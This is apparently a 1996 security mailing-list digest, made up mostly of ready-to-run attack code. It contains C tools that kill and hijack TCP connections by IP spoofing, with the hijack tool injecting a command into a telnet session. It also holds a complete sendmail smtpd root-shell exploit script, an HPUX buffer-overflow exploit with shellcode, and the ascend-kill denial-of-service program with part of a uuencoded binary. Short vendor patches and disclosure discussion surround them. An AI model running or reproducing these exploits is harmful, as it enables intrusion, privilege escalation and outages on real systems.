  j=0;
  /* Sending our fake Packet */

/* for(j=0;j<10;j++)    This would be better       */
/*      {                                          */
        transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
                                                        sp_seq+j,sp_ack,RST);
/*      }                                          */

  /* waiting for confirmation */
  stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5);
  if(stat<0)
      {
      printf("Connection 5 secs idle or dead...\n");
      exit(0);
      }
  }
printf("I did not succeed in killing it.\n");
}

------------------------------------------------------------------------------

---=[ sniper-fin.c ]=---------------------------------------------------------
/**************************************************************************/
/*  Sniper-fin - Example program on connection killing with IP spoofing   */
/*               using the FIN flag.                                      */
/*               (illustration for 'A short overview of IP spoofing')     */
/*                                                                        */
/*  Purpose - Killing any TCP connection on your subnet                   */
/*                                                                        */
/*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
/*           Serious advice, comments, statements, greets, always welcome */
/*           flames, moronic 3l33t >/dev/null                             */
/*                                                                        */
/*  Disclaimer - This program is for educational purposes only. I am in   */
/*               NO way responsible for what you do with this program,    */
/*               or any damage you or this program causes.                */
/*                                                                        */
/*  For whom - People with a little knowledge of TCP/IP, C source code    */
/*             and general UNIX. Otherwise, please keep your hands of,    */
/*             and catch up on those things first.                        */
/*                                                                        */
/*  Limited to - Linux 1.3.X or higher.                                   */
/*               ETHERNET support ("eth0" device)                         */
/*               If you network configuration differs it shouldn't be to  */
/*               hard to modify yourself. I got it working on PPP too,    */
/*               but I'm not including extra configuration possibilities  */
/*               because this would overload this first release that is   */
/*               only a demonstration of the mechanism.                   */
/*               Anyway if you only have ONE network device (slip,        */
/*               ppp,... ) after a quick look at this code and spoofit.h  */
/*               it will only take you a few secs to fix it...            */
/*               People with a bit of C knowledge and well known with     */
/*               their OS shouldn't have to much trouble to port the code.*/
/*               If you do, I would love to get the results.              */
/*                                                                        */
/*  Compiling - gcc -o sniper-fin sniper-fin.c                            */
/*                                                                        */
/*  Usage - Usage described in the spoofing article that came with this.  */
/*          If you didn't get this, try to get the full release...        */
/*                                                                        */
/*  See also - Sniffit (for getting the necessairy data on a connection)  */
/**************************************************************************/

#include "spoofit.h"

/* Those 2 'defines' are important for putting the receiving device in  */
/* PROMISCUOUS mode                                                     */
#define INTERFACE       "eth0"
#define INTERFACE_PREFIX 14

char SOURCE[100],DEST[100];
int SOURCE_P,DEST_P;

void main(int argc, char *argv[])
{
int i,stat;
int fd_send, fd_receive;
unsigned long sp_ack, sp_seq;
unsigned short flags;
struct sp_wait_packet pinfo;

if(argc != 5)
        {
        printf("usage: %s host1 port1 host2 port2\n",argv[0]);
        exit(0);
        }

/* preparing some work */
DEV_PREFIX = INTERFACE_PREFIX;
strcpy(SOURCE,argv[1]);
SOURCE_P=atoi(argv[2]);
strcpy(DEST,argv[3]);
DEST_P=atoi(argv[4]);

/* opening sending and receiving sockets */
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */

for(i=1;i<100;i++)
  {
  printf("Attack Sequence %d.\n",i);
  /* Waiting for a packet containing an ACK */
  stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
  if(stat==-1)  {printf("Connection 10 secs idle... timeout.\n");exit(1);}
  sp_seq=pinfo.ack;
  sp_ack=pinfo.seq+pinfo.datalen;
  /* Sending our fake Packet */
  transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN);
  /* waiting for confirmation */
  stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
  if(stat>=0)
      {
      printf("Killed the connection...\n");
      exit(0);
      }
  printf("Hmmmm.... no response detected... (retry)\n");
  }
printf("I did not succeed in killing it.\n");
}

------------------------------------------------------------------------------

---=[ hijack.c ]=-------------------------------------------------------------
/**************************************************************************/
/*  Hijack - Example program on connection hijacking with IP spoofing     */
/*               (illustration for 'A short overview of IP spoofing')     */
/*                                                                        */
/*  Purpose - taking control of a running telnet session, and executing   */
/*            our own command in that shell.                              */
/*                                                                        */
/*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
/*           Serious advice, comments, statements, greets, always welcome */
/*           flames, moronic 3l33t >/dev/null                             */
/*                                                                        */
/*  Disclaimer - This program is for educational purposes only. I am in   */
/*               NO way responsible for what you do with this program,    */
/*               or any damage you or this program causes.                */
/*                                                                        */
/*  For whom - People with a little knowledge of TCP/IP, C source code    */
/*             and general UNIX. Otherwise, please keep your hands of,    */
/*             and catch up on those things first.                        */
/*                                                                        */
/*  Limited to - Linux 1.3.X or higher.                                   */
/*               ETHERNET support ("eth0" device)                         */
/*               If you network configuration differs it shouldn't be to  */
/*               hard to modify yourself. I got it working on PPP too,    */
/*               but I'm not including extra configuration possibilities  */
/*               because this would overload this first release that is   */
/*               only a demonstration of the mechanism.                   */
/*               Anyway if you only have ONE network device (slip,        */
/*               ppp,... ) after a quick look at this code and spoofit.h  */
/*               it will only take you a few secs to fix it...            */
/*               People with a bit of C knowledge and well known with     */
/*               their OS shouldn't have to much trouble to port the code.*/
/*               If you do, I would love to get the results.              */
/*                                                                        */
/*  Compiling - gcc -o hijack hijack.c                                    */
/*                                                                        */
/*  Usage - Usage described in the spoofing article that came with this.  */
/*          If you didn't get this, try to get the full release...        */
/*                                                                        */
/*  See also - Sniffit (for getting the necessairy data on a connection)  */
/**************************************************************************/

#include "spoofit.h"       /* My spoofing include.... read licence on this */

/* Those 2 'defines' are important for putting the receiving device in  */
/* PROMISCUOUS mode                                                     */
#define INTERFACE               "eth0"  /* first ethernet device          */
#define INTERFACE_PREFIX         14     /* 14 bytes is an ethernet header */

#define PERSONAL_TOUCH          666

int fd_receive, fd_send;
char CLIENT[100],SERVER[100];
int CLIENT_P;

void main(int argc, char *argv[])
{
int i,j,count;
struct sp_wait_packet attack_info;
unsigned long sp_seq ,sp_ack;
unsigned long old_seq ,old_ack;
unsigned long serv_seq ,serv_ack;

/* This data used to clean up the shell line */
char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a};
char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n";

if(argc!=4)
        {
        printf("Usage: %s client client_port server\n",argv[0]);
        exit(1);
        }
strcpy(CLIENT,argv[1]);
CLIENT_P=atoi(argv[2]);
strcpy(SERVER,argv[3]);

/* preparing all necessary sockets (sending + receiving) */
DEV_PREFIX = INTERFACE_PREFIX;
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, 0);  /* normal BLOCKING mode */

printf("Starting Hijacking demo - Brecht Claerhout 1996\n");
printf("-----------------------------------------------\n");

for(j=0;j<50;j++)
  {
  printf("\nTakeover phase 1: Stealing connection.\n");
  wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
  sp_seq=attack_info.seq+attack_info.datalen;
  sp_ack=attack_info.ack;
  printf("  Sending Spoofed clean-up data...\n");
  transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,
                                                      sp_seq,sp_ack,ACK|PSH);
/* NOTE: always beware you receive y'r OWN spoofed packs! */
/*       so handle it if necessary                         */
  count=0;
  printf("  Waiting for spoof to be confirmed...\n");
  while(count<5)
        {
        wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
        if(attack_info.ack==sp_seq+sizeof(to_data))
                count=PERSONAL_TOUCH;
        else count++;
        };
  if(count!=PERSONAL_TOUCH)
        {printf("Phase 1 unsuccesfully ended.\n");}
  else {printf("Phase 1 ended.\n"); break;};
  };

printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n");
count=serv_seq=old_ack=0;
while(count<10)
        {
        old_seq=serv_seq;
        old_ack=serv_ack;
        wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0);
        if(attack_info.datalen==0)
          {
          serv_seq=attack_info.seq+attack_info.datalen;
          serv_ack=attack_info.ack;
          if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
                count=PERSONAL_TOUCH;
          else count++;
          }
        };
if(count!=PERSONAL_TOUCH)
        {printf("Phase 2 unsuccesfully ended.\n"); exit(0);}
printf("  Server SEQ: %X (hex)    ACK: %X (hex)\n",serv_seq,serv_ack);
printf("Phase 2 ended.\n");

printf("\nTakeover phase 3: Sending MY data.\n");
printf("  Sending evil data.\n");
transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
             SERVER,23,serv_ack,serv_seq,ACK|PSH);
count=0;
printf("  Waiting for evil data to be confirmed...\n");
while(count<5)
        {
        wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
        if(attack_info.ack==serv_ack+sizeof(evil_data))
                count=PERSONAL_TOUCH;
        else count++;
        };
if(count!=PERSONAL_TOUCH)
        {printf("Phase 3 unsuccesfully ended.\n"); exit(0);}
printf("Phase 3 ended.\n");

}

------------------------------------------------------------------------------

------------------------------

Date: Sat, 16 Nov 1996 04:10:16 +0300 (MSK)
From: Leshka Zakharoff <leshka@leshka.chuvashia.su>
To: best-of-security@suburbia.net
Subject: BoS: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2).
Message-Id: <199611160110.EAA04168@leshka.chuvashia.su>

#-------------------------------- CUT HERE -------------------------------------
#/bin/sh
#
#
#                                   Hi !  
#                This is exploit for sendmail smtpd bug
#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
#         This shell script does a root shell in /tmp directory.
#          If you have any problems with it, drop me a letter.
#                                Have fun !                              
#
#
#                           ----------------------                 
#               ---------------------------------------------  
#    -----------------   Dedicated to my beautiful lady   ------------------
#               ---------------------------------------------
#                           ----------------------
#
#          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
#
#
#
echo   'main()                                                '>>leshka.c
echo   '{                                                     '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                                     '>>leshka.c
#
#
echo   'main()                                                '>>smtpd.c
echo   '{                                                     '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                                     '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
/tmp/sh
#-------------------------------- CUT HERE -------------------------------------

------------------------------

Date: 	Thu, 14 Nov 1996 14:50:29 +0100
From: Bernd Lehle <Bernd.Lehle@RUS.Uni-Stuttgart.DE>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: BoS:      NT Password Cracker
Message-ID: <199611141350.OAA24507@visbl.rus.uni-stuttgart.de>
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

Hi there,

http://www.omna.com/Yes/MWC/PRS-index.htm MWC offers a commercial
service to "recover" a lost Windows NT (all Versions) administrator
password at "Any level of the Password Complexity".

The whole thing takes four hours on four Pentium-200s and costs about
$US 4,500.

Comparing this against my experiences with Crack and crypt on UNIX-
platforms, I have to conclude that NT password encryption must be
ridiculous if this offer is true.

Does anybody have details ?

--
> Bernd Lehle - Stuttgart University Computer Center * A supercomputer <
>      Visualization / Security / Astrophysics       * is a machine    <
> lehle@rus.uni-stuttgart.de   Tel:+49-711-685-5531  * that runs an    <
>   http://www.tat.physik.uni-tuebingen.de/~lehle    * endless loop    <
>  pgp? -> finger bernd@visbl.rus.uni-stuttgart.de   * in 2 seconds    <

------------------------------

Date: Sat, 16 Nov 1996 00:59:43 -0700 (MST)
From: Ade Barkah <mbarkah@hemi.com>
To: security-officer@freebsd.org
Cc: best-of-security@suburbia.net
Subject: BoS: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2).
Message-Id: <199611160759.AAA09428@hemi.com>
Content-Type: text

> #                This is exploit for sendmail smtpd bug
> #    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).

Being very early in the morning on a Friday night and not having
time yet to really look at the problem, below is my quick hack that
appears to solve the problem (note, this *is* a hack, but at least
it will deter naive users with the exploit script). The patch is
relative to 8.8.2.

Regards,

-Ade Barkah
ps. We don't use a smtpd link anyway.
-------------------------------------------------------------------
Inet: mbarkah@hemi.com - HEMISPHERE ONLINE - <http://www.hemi.com/>
-------------------------------------------------------------------

*** main.c.orig	Sat Nov 16 00:51:39 1996
--- main.c	Sat Nov 16 00:51:39 1996
***************
*** 496,503 ****
--- 496,505 ----
  		OpMode = MD_INITALIAS;
  	else if (strcmp(p, "mailq") == 0)
  		OpMode = MD_PRINT;
+ /*
  	else if (strcmp(p, "smtpd") == 0)
  		OpMode = MD_DAEMON;
+ */
  	else if (strcmp(p, "hoststat") == 0)
  		OpMode = MD_HOSTSTAT;
  	else if (strcmp(p, "purgestat") == 0)

------------------------------

Date: Sat, 16 Nov 1996 00:15:39 -0800 (PST)
From: Curt Sampson <cjs@portal.ca>
To: Leshka Zakharoff <leshka@leshka.chuvashia.su>
cc: best-of-security@suburbia.net
Subject: BoS: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2).
Message-ID: <Pine.NEB.3.93.961116000142.140S-100000@didactic>
Content-Type: TEXT/PLAIN; charset=US-ASCII

Huh. Yet another gaping hole, can you believe it? This is entirely
platform-independent, and has not yet been fixed in 8.2.2. Here's
the patch to fix it. This was done on 8.7.6; the line numbers may
differ in other versions but the patch is the same.

------------------------------------------------------
--- main.c.old  Mon Sep 16 12:56:01 1996
+++ main.c      Fri Nov 15 23:56:48 1996
@@ -1693,14 +1693,16 @@
 sighup()
 {
 #ifdef LOG
        if (LogLevel > 3)
                syslog(LOG_INFO, "restarting %s on signal", SaveArgv[0]);
 #endif
        releasesignal(SIGHUP);
+       (void) setgid(RealGid);
+       (void) setuid(RealUid);
        execv(SaveArgv[0], (ARGV_T) SaveArgv);
 #ifdef LOG
        if (LogLevel > 0)
                syslog(LOG_ALERT, "could not exec %s: %m", SaveArgv[0]);
 #endif
        exit(EX_OSFILE);
 }
------------------------------------------------------

Now who the heck to I send this to to get it back into sendmail? There
are no e-mail addresses listed for bug reports in the READ_ME file, or
anywhere else for that matter.

cjs

Curt Sampson    cjs@portal.ca		Info at http://www.portal.ca/
Internet Portal Services, Inc.	
Vancouver, BC   (604) 257-9400		De gustibus, aut bene aut nihil.

On Sat, 16 Nov 1996, Leshka Zakharoff wrote:

> Date: Sat, 16 Nov 1996 04:10:16 +0300 (MSK)
> From: Leshka Zakharoff <leshka@leshka.chuvashia.su>
> To: best-of-security@suburbia.net
> Subject: BoS: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2).
> Resent-Date: Sat, 16 Nov 1996 17:32:01 +1100
> Resent-From: best-of-security@suburbia.net
> 
> #-------------------------------- CUT HERE -------------------------------------
> #/bin/sh
> #
> #
> #                                   Hi !  
> #                This is exploit for sendmail smtpd bug
> #    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
> #         This shell script does a root shell in /tmp directory.
> #          If you have any problems with it, drop me a letter.
> #                                Have fun !                              
> #
> #
> #                           ----------------------                 
> #               ---------------------------------------------  
> #    -----------------   Dedicated to my beautiful lady   ------------------
> #               ---------------------------------------------
> #                           ----------------------
> #
> #          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
> #
> #
> #
> echo   'main()                                                '>>leshka.c
> echo   '{                                                     '>>leshka.c
> echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
> echo   '}                                                     '>>leshka.c
> #
> #
> echo   'main()                                                '>>smtpd.c
> echo   '{                                                     '>>smtpd.c
> echo   '  setuid(0); setgid(0);                               '>>smtpd.c
> echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
> echo   '}                                                     '>>smtpd.c
> #
> #
> cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
> ./leshka
> kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
> rm leshka.c leshka smtpd.c /tmp/smtpd
> /tmp/sh
> #-------------------------------- CUT HERE -------------------------------------
> 
> 

------------------------------

Date: Sun, 17 Nov 1996 19:43:28 +1100
From: Julian Assange <proff>
To: best-of-security
Subject: BoS: HPUX mstm/cstm buffer overflow [sod]
Message-Id: <199611170843.TAA13606@suburbia.net>

/* SOD /usr/diag/bin/[cm]stm buffer overflow */

main()
{
char buf[500];

strcpy(buf,"\x41\x41\x34\x01\x01\x02\x08\x22\x04\x01\x60\x20\x02\xa6\x60\x20\x02\xac\xb4\x3a\x02\x98\x34\x16\x01\x76\x34\x01\x0
2\x76\x08\x36\x02\x16\x08\x21\x02\x80\x20\x20\x08\x01\xe4\x20\xe0\x08\x08\x21\x02\x80\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x
43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\
x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43
\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x4
3\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x
43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x69\x2e\
x44\x44\x44\x44\x44\x7b\x03\x30\x1b");

execl("/usr/diag/bin/mstm","/usr/diag/bin/mstm","-l",buf,(char *)0);
/* Either-or, same overflow */
execl("/usr/diag/bin/cstm","/usr/diag/bin/cstm","-l",buf,(char *)0);
}

------------------------------

Date: 	Fri, 15 Nov 1996 21:09:40 -0500
From: Joel Murphy <jmurphy@cnu.acsu.buffalo.edu>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: BoS:      Re: cleartext passwords in Remedy processes' cores
Message-ID: <199611160209.VAA01276@cnu.acsu.buffalo.edu>
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

> The security hole in Remedy's product is that a core dump of either the user
> processes (i.e. aruser, notifier) shows the user's password in clear text.

Anyone who is an administrator in Remedy can fetch any password in
plain text from the server with a trivial program using the ARS api.
It also has an annoying feature were the client tool by default saves
your password to file in form that it knows how to decryt.  Don't use
passwords from other systems in Remedy...

Joel Murphy

------------------------------

Date: 	Sat, 16 Nov 1996 10:53:33 -0800
From: Aleph One <aleph1@underground.org>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: BoS:      El Programa Matador de Ascendes
Message-ID: <Pine.LNX.3.91.961116104901.15276C-100000@underground.org>
Content-Type: TEXT/PLAIN; charset=US-ASCII

   A short message from our sponsors. Don't change that channel, we'll be
right back.

Aleph One / aleph1@underground.org
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01

---------- Forwarded message ----------
(--------------------- ascend-kill.c Start ------------------------------)

/*
        The Posse Brings you:

                 The Linux Ascend Kill Program!

              Kill your local ISP (or even non-local)

313373133731337313373133731337313373133731337313373133731337313373133731337
1                                                                         3
3                                                                         1
3 Because Ascend has such a strong programming department that would      3
7 never under any circumstances release a version of their code which     3
3 contained a bug.                                                        7
1                                                                         3
3 Well.  Ascend did it again.  Those pesky non zero length tcp offset's   1
3 do it everytime!  Are those fault lights available in christmas colors  3
7 in time for the season? h0h0h0..                                        3
3                                                                         7
1 BTW, if anyone has any pictures of MSN pops, please post them to        3
3 someplace public so we can all share in the season spirit.              1
3                                                                         3
7 - The Posse is back!                                                    3
3                                                                         7
1 greetz to : alpha bits, the grave digger, and fast freddy.              3
3                                                                         1
3 Goto our eleet ftp sitez:                                               3
7                                                                         3
3                                                                         7
1 The Dark Dungeon    198.34.1xx.xxx 600 gigz online!                     3
3 Strobe Room         34.101.1xx.xxx 1TB of Warez and H/P/V/A/C/K text    1
3                                                                         3
731337313373133731337313373133731337313373133731337313373133731337313373133
3                                                                         7
1     2600.com is run off vnetmax.villagenet.com (205.136.35.3)           3
3   Keep your support of 2600, help Emmanuel play with his little boys    1
3                                                                         3
731337313373133731337313373133731337313373133731337313373133731337313373133                                                                         3

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>
#include <netdb.h>

unsigned short compute_tcp_checksum(struct tcphdr *th, int len,
          unsigned long saddr, unsigned long daddr)
{
        unsigned long sum;
        __asm__("
            addl %%ecx, %%ebx
            adcl %%edx, %%ebx
            adcl $0, %%ebx
            "
        : "=b"(sum)
        : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
        : "bx", "cx", "dx" );
        __asm__("
            movl %%ecx, %%edx
            cld
            cmpl $32, %%ecx
            jb 2f
            shrl $5, %%ecx
            clc
1:          lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            loop 1b
            adcl $0, %%ebx
            movl %%edx, %%ecx
2:          andl $28, %%ecx
            je 4f
            shrl $2, %%ecx
            clc
3:          lodsl
            adcl %%eax, %%ebx
            loop 3b
            adcl $0, %%ebx
4:          movl $0, %%eax
            testw $2, %%dx
            je 5f
            lodsw
            addl %%eax, %%ebx
            adcl $0, %%ebx
            movw $0, %%ax
5:          test $1, %%edx
            je 6f
            lodsb
            addl %%eax, %%ebx
            adcl $0, %%ebx
6:          movl %%ebx, %%eax
            shrl $16, %%eax
            addw %%ax, %%bx
            adcw $0, %%bx
            "
        : "=b"(sum)
        : "0"(sum), "c"(len), "S"(th)
        : "ax", "bx", "cx", "dx", "si" );
        return((~sum) & 0xffff);
}

#define psize ( sizeof(struct iphdr) + sizeof(struct tcphdr)  )
#define tcp_offset  ( sizeof(struct iphdr) )
#define err(x) { fprintf(stderr, x); exit(1); }
#define errors(x, y) { fprintf(stderr, x, y); exit(1); }
struct iphdr temp_ip;
int temp_socket = 0;

u_short
ip_checksum (u_short * buf, int nwords)
{
  unsigned long sum;

  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

void
fixhost (struct sockaddr_in *addr, char *hostname)
{
  struct sockaddr_in *address;
  struct hostent *host;

  address = (struct sockaddr_in *) addr;
  (void) bzero ((char *) address, sizeof (struct sockaddr_in));
  address->sin_family = AF_INET;
  address->sin_addr.s_addr = inet_addr (hostname);
  if ((int) address->sin_addr.s_addr == -1)
    {
      host = gethostbyname (hostname);
      if (host)
        {
          bcopy (host->h_addr, (char *) &address->sin_addr,
                 host->h_length);
        }
      else
        {
          puts ("Couldn't resolve address!!!");
          exit (-1);
        }
    }
}

unsigned int
lookup (host)
     char *host;
{
  unsigned int addr;
  struct hostent *he;

  addr = inet_addr (host);
  if (addr == -1)
    {
      he = gethostbyname (host);
      if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
        return 0;

      bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
    }
  return (addr);
}

unsigned short
lookup_port (p)
     char *p;
{
  int i;
  struct servent *s;

  if ((i = atoi (p)) == 0)
    {
      if ((s = getservbyname (p, "tcp")) == NULL)
        errors ("Unknown port %s\n", p);
      i = ntohs (s->s_port);
    }
  return ((unsigned short) i);
}

void
spoof_packet (struct sockaddr_in local, int fromport, \
           struct sockaddr_in remote, int toport, ulong sequence, \
           int sock, u_char theflag, ulong acknum, \
           char *packdata, int datalen)
{
  char *packet;
  int tempint;
  if (datalen > 0)
    datalen++;
  packet = (char *) malloc (psize + datalen);
  tempint = toport;
  toport = fromport;
  fromport = tempint;
  {
    struct tcphdr *fake_tcp;
    fake_tcp = (struct tcphdr *) (packet + tcp_offset);
    fake_tcp->th_dport = htons (fromport);
    fake_tcp->th_sport = htons (toport);
    fake_tcp->th_flags = theflag;
    fake_tcp->th_seq = random ();
    fake_tcp->th_ack = random ();
    /* this is what really matters, however we randomize everything else
       to prevent simple rule based filters */
    fake_tcp->th_off = random ();
    fake_tcp->th_win = random ();
    fake_tcp->th_urp = random ();
  }
  if (datalen > 0)
    {
      char *tempbuf;
      tempbuf = (char *) (packet + tcp_offset + sizeof (struct tcphdr));
      for (tempint = 0; tempint < datalen - 1; tempint++)
        {
          *tempbuf = *packdata;
          *tempbuf++;
          *packdata++;
        }
      *tempbuf = '\r';
    }
  {
    struct iphdr *real_ip;
    real_ip = (struct iphdr *) packet;
    real_ip->version = 4;
    real_ip->ihl = 5;
    real_ip->tot_len = htons (psize + datalen);
    real_ip->tos = 0;
    real_ip->ttl = 64;
    real_ip->protocol = 6;
    real_ip->check = 0;
    real_ip->id = 10786;
    real_ip->frag_off = 0;
    bcopy ((char *) &local.sin_addr, &real_ip->daddr, sizeof (real_ip->daddr));
    bcopy ((char *) &remote.sin_addr, &real_ip->saddr, sizeof (real_ip->saddr));
    temp_ip.saddr = htonl (ntohl (real_ip->daddr));
    real_ip->daddr = htonl (ntohl (real_ip->saddr));
    real_ip->saddr = temp_ip.saddr;
    real_ip->check = ip_checksum ((u_short *) packet, sizeof (struct iphdr) >> 1);
    {
      struct tcphdr *another_tcp;
      another_tcp = (struct tcphdr *) (packet + tcp_offset);
      another_tcp->th_sum = 0;
      another_tcp->th_sum = compute_tcp_checksum (another_tcp, sizeof (struct tcphdr) + datalen,
                                       real_ip->saddr, real_ip->daddr);
    }
  }
  {
    int result;
    sock = (int) temp_socket;
    result = sendto (sock, packet, psize + datalen, 0,
                     (struct sockaddr *) &remote, sizeof (remote));
  }
  free (packet);
}

void
main (argc, argv)
     int argc;
     char **argv;
{
  unsigned int daddr;
  unsigned short dport;
  struct sockaddr_in sin;
  int s, i;
  struct sockaddr_in local, remote;
  u_long start_seq = 4935835 + getpid ();

  if (argc != 3)
    errors ("Usage: %s <dest_addr> <dest_port>\n\nDest port of 23 for Ascend units.\n",
          argv[0]);

  if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    err ("Unable to open raw socket.\n");
  if ((temp_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    err ("Unable to open raw socket.\n");
  if (!(daddr = lookup (argv[1])))
    err ("Unable to lookup destination address.\n");
  dport = lookup_port (argv[2]);
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = daddr;
  sin.sin_port = dport;
  fixhost ((struct sockaddr_in *)(struct sockaddr *) &local, argv[1]);
  fixhost ((struct sockaddr_in *)(struct sockaddr *) &remote, argv[1]);
  /* 500 seems to be enough to kill it */
  for (i = 0; i < 500; i++)
    {
      start_seq++;
      local.sin_addr.s_addr = random ();
      spoof_packet (local, random (), remote, dport, start_seq, (int) s,
        TH_SYN | TH_RST | TH_ACK, 0, NULL, 0);
    }
}


(---------------------- ascend-kill.c  End -------------------------------)

(------------------ ascend-kill bin for ELF Start ------------------------)
begin 755 ascend-kill.elf
M?T5,1@$!`0````````````(``P`!````H`8`"#0```"D$0```````#0`(``%
M`"@`%``3``8````T````-```"#0```B@````H`````4````$`````P```-0`
M``#4```(U```"!,````3````!`````$````!``````````````@````(T@\`
M`-(/```'`````!````$```#8#P``V!\`"-@?``CT````9`$```8`````$```
M`@```$00``!$(``(1"``"(@```"(````!@````0````O;&EB+VQD+6QI;G5X
M+G-O+C$``!$````?````$@```!P````7``````````\````1````$P``````
M```4````"P```!4````9````&@```!@````.````%@``````````````````
M```````;```````````````#````````````````````!```````````````
M"@````4````&````````````````````#0````D````'``````````@````>
M````'0`````````!````$`````(````,``````````````````````````L`
M``!$(``(`````!$`\?\4````>`4`"*H````2````'0```(@%``AL!```$@``
M`"\```"8!0`(`````"(````V````T"``"%0````1`!$`0@```*@%``@`````
M(@```$<```"X!0`(`````"(```!.````R`4`"%@````B````50```-@?``@$
M````$0`,`%\```#8!0`(-@```!(```!E````8`4`"``````2``<`:P```.@%
M``A&````$@```'<```#8'P`(!````"``#`!_````^`4`"``````B````AP``
M``@&``@Y````$@```)$````D(0`(`@```!$`$0"?````&`8`"'8````B````
MI@```"@&``B2````$@```*P````X!@`()`$``!(```"Z````$`\`"``````2
M``H`P````$@&``A1`0``$@```,X```!8!@`(-````!(```#5````\!\`"```
M```1`/'_ZP```&@&``B`````$@```/````!X!@`(/@```!(```#[````B`8`
M"``````B``````$```0/``@`````$0#Q_P<!``#,(``(`````!$`\?\.`0``
MS"``"``````1`/'_&@$``#PA``@`````$0#Q_P!L:6)C+G-O+C4`7T193D%-
